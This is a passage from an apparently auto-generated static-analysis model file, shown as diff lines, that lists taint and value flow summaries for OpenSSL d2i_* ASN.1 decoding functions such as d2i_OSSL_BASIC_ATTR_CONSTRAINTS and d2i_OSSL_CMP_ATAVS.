"(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, 